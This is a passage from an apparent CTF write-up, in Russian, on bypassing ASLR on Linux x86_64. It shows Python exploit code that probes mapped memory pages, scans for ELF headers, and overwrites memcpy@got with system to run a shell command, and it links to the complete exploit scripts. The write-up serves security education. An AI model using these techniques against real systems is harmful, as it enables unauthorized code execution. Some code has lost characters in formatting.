| 0x7fe3d6aa0000 | Нет |
| 0x7fe3d6a90000 | Нет |
| 0x7fe3d6a80000 | Нет |
| 0x7fe3d6a70000 | Нет |
| 0x7fe3d6a60000 | Нет |
| 0x7fe3d6a50000 | Да |
| 0x7fe3d6a5f000 | Нет |
| 0x7fe3d6a5e000 | Нет |
| 0x7fe3d6a5d000 | Нет |
| 0x7fe3d6a5c000 | Нет |
| 0x7fe3d6a5b000 | Нет |
| 0x7fe3d6a5a000 | Да |
lastMappedPage = 0x7fe3d6a5a000
Мы перебираем по полбайта за раз, что в худшем случае даёт 165 = 80 запросов.```py def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + incrementi:#x}", end='\t|\t') if isAddrMapped(base + incrementi, idstart+i): print ('Yes') return iincrement print ('No') raise Exception("linearFindLargest should not fail")
lastMappedPage = leakAddr lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400) print (f"{lastMappedPage = :#x}")
## 4.6 Эксплуатация
Наконец, мы знаем всё необходимое о сопоставлениях памяти, теперь осталось лишь превратить примитив «запись куда угодно» в выполнение кода.
Чтобы добиться выполнения кода, я перезаписал запись memcpy@got в libkyle.so на system@libc.
### Получение базы libkyle
К счастью для нас, база libc и база libkyle.so находятся на постоянном смещении от lastMappedPage; я не знал, что это так, поэтому написал еггхантер, который ищет `\x7fELF` \(заголовок исполняемых файлов ELF\), что в итоге оказалось бесполезным.```py
# Scan backwards looking for b'\x7fELF'
i = 0
numElf = 0
while numElf != 2:
theAddr = lastMappedPage-0x1000*i
hdr = readFromAddr(theAddr, 4, 40500+i)
print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}")
if hdr == b'\x7fELF':
numElf += 1
print (f"found elf at {theAddr:#x}")
if i > 70:
print ("Exploit failed, upper bound address was wrong")
exit(1)
i += 1
К счастью, перезаписи memcpy@got на system было достаточно, чтобы получить флаг и заполучить этот сочный баунти :)```py # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24)
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
exp.write(bytes([b]))
# out=memcpy_got+8
# memcpy(out, out-off, size)
# system(out)
in_addr_off = len(exp.content)
exp.content += cmd
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)
uploadFile(exp.content, 123001)
# profit
getFile(123001)
## 4.7 Флаг!
Вы можете найти эксплойт [здесь](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/x.py).
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/48660/fbf98cc42c41c4487283d3545ab1f451ddcac7f1c6210e3d211ff5e04f63fef0.png"></p><br/>
Также есть 100% надёжная версия эксплойта [здесь](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/reliable_exploit.py).
## 5. Заключение
Надеюсь, вам понравился разбор; если что-то было недостаточно понятно, не стесняйтесь связаться со мной [@nick0ve](https://twitter.com/nick0ve) :)